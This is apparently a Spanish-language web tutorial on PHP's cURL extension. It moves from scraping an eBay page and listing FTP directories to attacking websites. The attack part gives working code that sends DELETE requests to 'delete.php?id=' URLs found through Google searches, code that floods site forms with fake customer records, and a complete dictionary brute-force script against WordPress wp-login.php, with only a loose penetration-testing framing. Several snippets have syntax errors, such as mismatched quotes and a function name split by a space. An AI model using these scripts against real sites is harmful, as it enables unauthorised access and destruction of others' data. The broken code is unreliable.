Cargando



cURL para extraer informacion y Hacking desde PHP

cURL es una herramienta software extracción de información y para transferencia de archivos mediante una url.


oct 21 2015 05:12
Avanzado
oct 21 2015 16:31
La extensión cURL para PHP para extraer información de una url permite utilizar diversos protocolos web usando como FTP, FTPS, HTTP, HTTPS y capturar o extraer información.

Para utilizar cURL se deben realizar 4 pasos
  • Inicializar cURL
  • Configurar opciones según la tarea a realizar
  • Ejecutar una consulta a la url que queramos
  • Recibir la información si esta disponible.
La librería cURL es un componente que no suele estar disponible en todos los servidores por seguridad y en algunos casos es necesaria para algunas aplicaciones web, por ejemplo PrestaShop aplicación de tiendas online de comercio electrónico y Magento utilizan cURL, Facebook también utiliza cURL cuando publicamos un enlace en nuestro muro y vemos que aparece una descripción, el enlace y la imagen del sitio, eso es porque ha extraído información utilizando cURL. Twitter permite que a través de cURL otros programadores utilicen su API.

panta00.jpg



Se utiliza para mostrar informacion de mercados financieros en tiempo real o el clima. Tambien para actualizar precios de proveedores leyendo un archivo que ellos brindan en un enlace, todos los puntos de ventas pueden actualizar sus bases de datos.

Si nuestra instalación de PHP no dispone de cURL y nuestro servidor es Xampp o LAMP se instala desde la terminal de la siguiente manera:
sudo apt-get install php5-curl
Y tras unos segundos para completarse la instalación deberemos reiniciar el servidor Apache con el siguiente comando:
sudo /etc/init.d/apache2 restart
Este tutorial se basara en Linux, pero si estas utilizando Windows, puedes habilitar el soporte Curl copiando los archivos libeay32.dll y ssleay32.dll de Xampp version Windows en el directorio c:\windows\system32, luego debes habilitar la extensión de cURL en el archivo php.ini de Xampp, descomentando la linea extension=php_curl.dll y reiniciando el servidor Xampp.

Supongamos un primer ejemplo: Quiero actualizar mi sitio web con valores de una tienda online, tomaremos la web de venta de relojes de ebay. Creamos un archivo php en el servidor local o remoto utilizo el siguiente código:
<?php echo "Extrayendo información";
    $curl = curl_init();
    $fp = fopen("listarelojes.txt", "w");
    curl_setopt ($curl, CURLOPT_URL, "http://globaldeals.ebay.com/Featured/Watches/?c=LATAM");
    curl_setopt($curl, CURLOPT_FILE, $fp);
echo "<br>Espere ........";
    curl_exec ($curl);
    curl_close ($curl);
   
    echo "<br>Extracción finalizada";
?>
El resultado de ejecutar el script será un archivo de texto.


panta01.jpg


Si convertimos el archivo txt en html podremos ver el código que traer, si analizamos el código veremos que cada
<div class="card"></div> es el bloque que representa un reloj, así podremos crear un script que identifique cada id y extraer la información para guardar en nuestra base de datos por ejemplo.


panta02.jpg


Veamos un ejemplo de un ftp. Extraeremos todos los directorios y sus datos del ftp de gnu.org, y mediante la función nl2br añadimos un salto de renglón por cada directorio sino viene todo en un solo renglón.
<?php
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL,"ftp://ftp.gnu.org");
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    $directorios = curl_exec ($curl);
    curl_close ($curl);
$directorios_br=nl2br($directorios);
echo $directorios_br;
?>

panta03.jpg



Veamos a continuación un ejemplo con un ftp de una web:
<strong>Directorios de una web</strong>
<?php
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL,"ftp://ftpedemos.tk");
    curl_setopt($curl, CURLOPT_FTPLISTONLY, 1);
    curl_setopt($curl, CURLOPT_USERPWD, "miusuario:miclave");
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    $directorios = curl_exec ($curl);
    echo curl_error($curl);
    curl_close ($curl);
$directorios_br=nl2br($directorios);
echo $directorios_br;
?>

panta04.jpg



Podemos observar como listamos todos los directorios, obviamente necesitamos el usuario y clave para poder verlo pero si no tiene podremos acceder sin problemas, también podríamos generar un script que pruebe combinaciones de palabras tipo ataque brutal force.

Otro tipo de ataque podemos hacer es encontrar url con enlaces y variables que puedan ser explotadas. Por ejemplo muchas web utilizan procedimientos para eliminar datos como delete.php?id= , si buscamos esto en Google.


panta05.jpg



Podemos explotar este tipo de vulnerabilidad con el siguiente código:
<?php 
  $data = array("id"=>3); 
  $ch = curl_init(); 
  curl_setopt($ch, CURLOPT_URL, "http://www.demo.com/delete.php?id=108"); 
  curl_setopt($ch, CURLOPT_HEADER, false); 
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
  curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'DELETE'); 
  curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); 
  $data = curl_exec($ch); 
  curl_close($ch);
?>
Podríamos crear un bucle for o while que pruebe distintos números de id.

También podemos utilizarlo leer datos o insertar datos o cualquier otra tarea que realice la web mediante el id.
Por ejemplo si conocemos los campos de un formulario podremos insertar datos, al enviarlos por método POST del formulario.
<?php 
  $postData = array( 
  'nombre'=>'sergio, 
  ‘domicilio’=>’Cordoba 123’,
  'email'=>demo@gmail.com', 
  clave=>'abc123' 
  ); 
  $ch = curl_init(); 
  curl_setopt($ch, CURLOPT_URL, "http://wwwdemo.com/nuevocliente"); 
  curl_setopt($ch, CURLOPT_HEADER, false); 
  curl_setopt($ch, CURLOPT_POST, true); 
  curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData)); 
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
  $data = curl_exec($ch); 
  print_r($data); 
  curl_close($ch); 
?>
Aquí podríamos crear un bucle que lea una base de datos y vaya creando miles de clientes nuevos, podría ser útil para dar de alta muchos productos.

A continuación veremos como vulnerar una web Wordpress mediante un script con php y curl que realice un ataque brutal force (Fuerza Bruta).


panta06.jpg



Para ello buscaremos una web en Wordpress y utilizaremos la url del acceso al panel del administrador.

Luego crearemos un diccionario para nombres de usuarios y otro para palabras claves, el diccionario no es más que un archivo de texto con palabras una debajo de otra.

Crearemos el diccionario de nombre de usuario denominado usuarios.dic


panta07.jpg



Añadimos las palabras que queramos siempre tratando de pensar en posibles nombres de usuarios. Luego creamos otro archivo para el diccionario de claves que se denominara claves.dic.

Finalmente crearemos el script que se encargará de hacer el exploit tomando un usuario y una clave y probando a loguearse, si lo consigue nos dará un aviso.

El código del exploit sera el siguiente
<?php
error_reporting(0);
    $url = "http://demos.tk/wp-login.php";
    $usuariosdic = file_get_contents("usuarios.dic");
    $usuarios = explode("\n",$usuariosdic);
    $clavesdic = file_get_contents("claves.dic");
    $claves = explode("\n",$clavesdic);
    
foreach ($usuarios as $usuario){
 
for( $i= 0 ; $i <= count($claves) ; $i++ ) {

	    $POST = "log=".$usuario."&pwd=".$claves[$i];
	    $curlconecta = curl_init();
	    curl_setopt($curlconecta, CURLOPT_URL, $url);
	    curl_setopt($curlconecta, CURLOPT_POSTFIELDS, $POST);
	    curl_setopt($curlconecta, CURLOPT_RETURNTRANSFER, true);
	    $consulta = curl_exec($curlconecta);
	   
		 if ($consulta){ /Si login no es valido muestro error
		   print "Usuario: $usuario y clave: ".$claves[$i]." ---> No Valido<br>";
	    } else{
	       print "Usuario: $usuario y clave: ".$claves[$i]." ---> Valido. Acceso aceptado!<br>";
		   exit();
	    }
	    curl_close($curlconecta);
    }
}
?>

panta08.jpg



Esto es un ejemplo de como podemos con pocas lines de código, después de encontrar alguna vulnerabilidad en una web o servidor explotarla o bien testearla para evitar el problema.

Así mediante un script php y cURL podemos automatizar tareas de testing o de pruebas de penetración simulando un ataque.

Un script de este tipo puede servidor para probar los campos de un formularios tanto para insertar datos como para simular un ataque repitiendo una determinada cantidad de veces peticiones al servidor en forma automática y luego analizando que ocurrió o bien monitorizar el ataque mientras ocurre para entender como resolver la situación si fuera real o ejecutar diferentes acciones según la respuesta y accionar por parte del servidor.

Otra función muy interesante es poder copiar archivos de un servidor a otro como por ejemplo
<? function transferir archivo ($urlorigen,$urldestino){
$mi_curl = curl_init ($urlorigen);
$fs_archivo = fopen ($urldestino, "w");
curl_setopt ($mi_curl, CURLOPT_FILE, $fs_archivo);
curl_setopt ($mi_curl, CURLOPT_HEADER, 0);
curl_exec ($mi_curl);
curl_close ($mi_curl);
fclose ($fs_archivo);
} ?>
Luego lo utilizaríamos dentro de un bucle o la función sola para transferir automáticamente uno o varios archivos.
<? $urlorigen=”http://www.servidor1.com/imagenes/fotos/imagen.jpg”;
$urldestino=”http://www.servidor2.com/imagenes/fotos/imagen.jpg”;
transferir archivo ($urlorigen,$urldestino);
?>
Así podríamos inclusive crear un script que se encargue de hacer backup automático de todos los archivos o un directorio en particular.

¿Te ayudó este Tutorial?


2 Comentarios


Aldair Floréz
nov 12 2016 18:42

Interesante el tema amigo pero me gustaría profundizar 

ha bro quiera saber estas extensiones libeay32.dll y ssleay32.dll son dos de cada un 2 en sendmai yc2 en fiezilla cual se copia

No esperes más y entra en Solvetic
Deja tus comentarios y aprovecha las ventajas de la cuenta de usuario ¡Únete!

X